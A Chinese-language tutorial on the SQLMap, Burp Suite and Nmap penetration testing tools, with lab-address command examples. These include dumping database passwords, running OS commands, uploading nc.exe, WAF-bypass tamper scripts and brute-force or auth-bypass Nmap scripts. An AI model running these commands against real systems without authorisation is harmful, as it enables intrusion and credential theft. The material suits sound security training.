常用的渗透测试工具
字数 3233 2025-08-10 12:18:06
SQLMap 渗透测试工具详解
1. SQLMap 概述
SQLMap 是一个自动化的 SQL 注入工具,主要功能是扫描、发现并利用给定 URL 的 SQL 注入漏洞。它内置了很多绕过插件,支持多种数据库:
- MySQL、Oracle、PostgreSQL
- Microsoft SQL Server、Microsoft Access
- IBM DB2、SQLite、Firebird
- Sybase 和 SAP MaxDB
SQL 注入技术
SQLMap 采用 5 种独特的 SQL 注入技术:
- 基于布尔类型的盲注:根据返回页面判断条件真假的注入
- 基于时间的盲注:通过条件语句查看时间延迟判断是否执行
- 基于报错注入:页面返回错误信息或直接返回注入语句结果
- 联合查询注入:可使用 Union 情况下的注入
- 堆查询注入:可同时执行多条语句时的注入
强大功能
- 数据库指纹识别
- 数据库枚举
- 数据提取
- 访问目标文件系统
- 获取完全操作权限时执行任意命令
2. SQLMap 安装
环境要求
- Python 环境(不支持 Python 3)
- 推荐 Python 2.7.3
安装步骤
- 从官网下载 Python 安装包并安装
- 将 Python 安装目录添加到环境变量
- 从 SQLMap 官网 (http://www.sqlmap.org) 下载最新版
- 将 SQLMap 目录加到环境变量中
- 在命令行输入
sqlmap.py测试运行
3. SQLMap 基础使用
判断是否存在注入
sqlmap.py -u http://192.168.1.104/sql1/Less-1/?id=1
多参数时加双引号:
sqlmap.py -u "http://192.168.1.104/sql1/Less-1/?id=1&uid=2"
从文件加载 HTTP 请求
sqlmap.py -r request.txt
查询当前用户下的所有数据库
sqlmap.py -u http://192.168.1.104/sql1/Less-1/?id=1 --dbs
获取数据库中的表名
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye --tables
获取表中的字段名
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info --columns
获取字段内容
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info -C username,password --dump
获取数据库所有用户
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --users
获取数据库用户密码
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --passwords
获取当前网站数据库名称
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-db
获取当前网站数据库用户
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-user
4. SQLMap 高级功能
探测等级 (--level)
参数 --level 指定测试等级(1-5),默认1。等级越高,检测越全面但速度越慢。
检查当前用户权限
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --is-dba
运行自定义 SQL 语句
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --sql-shell
执行操作系统命令
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --os-cmd "whoami"
文件操作
读取服务器文件:
sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1
上传文件到服务器:
sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
5. 绕过脚本 (tamper)
SQLMap 提供绕过 WAF 的 tamper 脚本,使用方式:
sqlmap.py XXXXX --tamper "模块名"
常用 tamper 脚本
- apostrophemask.py:将引号替换为 UTF-8
- base64encode.py:替换为 base64 编码
- space2plus.py:用+号替换空格
- space2comment.py:将空格替换为/**/
- equaltolike.py:将等号替换为 like
- greatest.py:用 GREATEST 替换大于号
- ifnull2ifisnull.py:替换 IFNULL(A,B) 为 IF(ISNULL(A),B,A)
- modsecurityversioned.py:使用 MySQL 内联注释
- space2mysqldash.py:将空格替换为--并加换行符
- bluecoat.py:用随机空白符替换空格符,用 LIKE 替换等于号
6. WAF 检测
sqlmap.py --identify-waf
Burp Suite 渗透测试工具详解
1. Burp Suite 安装
环境要求
- Java 运行环境 (JRE)
- 从官网下载 Burp Suite 免费版或专业版
安装步骤
- 安装 JDK 并配置环境变量
- 直接双击 BurpLoader.jar 运行
2. Burp Suite 基础功能
Proxy 代理
- Intercept:拦截、查看、修改客户端与服务端之间的数据
- Forward:发送拦截的数据包
- Drop:丢弃当前拦截的数据包
- Interception is on/off:开启/关闭拦截功能
消息分析选项
- Raw:纯文本格式显示数据包
- Params:显示请求参数信息
- Headers:以名称/值格式显示消息头
- Hex:二进制内容编辑
Spider 爬虫
帮助了解系统结构,爬取内容在 Target 中展示
Decoder 编码解码
支持多种编码格式转换:
- URL、HTML、Base64、ASCII
- 十六进制、八进制、二进制
- GZIP
支持多种散列算法:
- SHA 系列、MD2、MD5
3. Burp Suite 高级功能
Scanner 扫描器
主动扫描(Active Scanning):
- 客户端漏洞:XSS、HTTP头注入等
- 服务端漏洞:SQL注入、命令注入等
被动扫描(Passive Scanning):
- 明文密码提交
- 不安全的cookie属性
- 敏感信息泄露等
扫描结果可导出为 HTML 报告
Intruder 入侵者
用于自动化攻击,如:
- 枚举用户名、ID
- 模糊测试
- SQL注入、跨站等
攻击类型:
- Sniper:单一Payload组
- Battering ram:重复Payload
- Pitchfork:多Payload组同步迭代
- Cluster bomb:多Payload组组合测试
Repeater 重放器
手动修改、补发HTTP请求并分析响应
Comparer 比较器
对比两次数据之间的区别,用于:
- 枚举用户名时比较成功/失败响应
- SQL盲注测试时比较响应差异
Sequencer 序列分析
分析数据样本随机性质量,用于测试:
- 会话令牌
- 密码重置令牌是否可预测
Nmap 网络扫描工具详解
1. Nmap 概述
Nmap (Network Mapper) 是一款开源的网络探测和安全审核工具,功能包括:
- 主机探测
- 端口扫描
- 版本检测
- 系统检测
- 支持脚本编写 (NSE)
2. Nmap 安装
从官网 https://nmap.org/download.html 下载安装
3. Nmap 基础使用
扫描参数
目标指定:
-iL:从文件导入目标-iR:随机选择目标--exclude:排除特定主机
主机发现:
-sL:列表扫描,仅列举IP-sn:Ping扫描,只进行主机发现-Pn:跳过主机发现
端口扫描:
-sS:TCP SYN扫描-sT:TCP Connect()扫描-sU:UDP扫描
常用命令:
nmap -T4 -A -v ip
-T4:指定时序级别(0-5)-A:进攻性方式扫描-v:显示冗余信息
常用扫描方法
- 扫描单个目标:
nmap 192.168.0.100
- 扫描多个目标:
nmap 192.168.0.100 192.168.0.105
- 扫描范围:
nmap 192.168.0.100-110
- 扫描C段:
nmap 192.168.0.100/24
- 从文件加载目标:
nmap -iL targets.txt
- 排除特定目标:
nmap 192.168.0.100/24 -exclude 192.168.0.105
- 指定端口扫描:
nmap 192.168.0.100 -p 21,22,23,80
- 路由跟踪:
nmap --traceroute 192.168.0.105
- C段在线检测:
nmap -sP 192.168.0.100/24
- 操作系统识别:
nmap -O 192.168.0.105
- 服务版本检测:
nmap -sV 192.168.0.105
- 防火墙探测:
nmap -sF -T4 192.168.0.105
端口状态
- open:端口开放
- closed:端口关闭
- filtered:端口被过滤
- unfiltered:端口可访问但状态未知
- open|filtered:无法确定开放还是过滤
- closed|filtered:无法确定关闭还是过滤
4. Nmap 脚本引擎 (NSE)
脚本位于 /xx/nmap/scripts 目录下
脚本分类
- auth:处理鉴权证书
- broadcast:局域网服务探查
- brute:暴力破解
- default:默认脚本
- discovery:网络信息搜集
- dos:拒绝服务攻击
- exploit:利用已知漏洞
- external:利用第三方资源
- fuzzer:模糊测试
- intrusive:入侵性脚本
- malware:探测恶意软件
- safe:安全性脚本
- version:增强版本扫描
- vuln:检查常见漏洞
脚本参数
-sC/--script=default:使用默认脚本--script=<Lua scripts>:使用特定脚本--script-args=key1=value1:传递脚本参数--script-trace:显示脚本执行数据
脚本实例
- 鉴权扫描:
nmap --script=auth 192.168.0.105
- 暴力破解:
nmap --script=brute 192.168.0.105
- 漏洞扫描:
nmap --script=vuln 192.168.0.105
- 应用服务扫描:
nmap --script=realvnc-auth-bypass 192.168.0.105
- 局域网服务探测:
nmap -n -p 445 --script=broadcast 192.168.0.105
- Whois解析:
nmap -script external baidu.com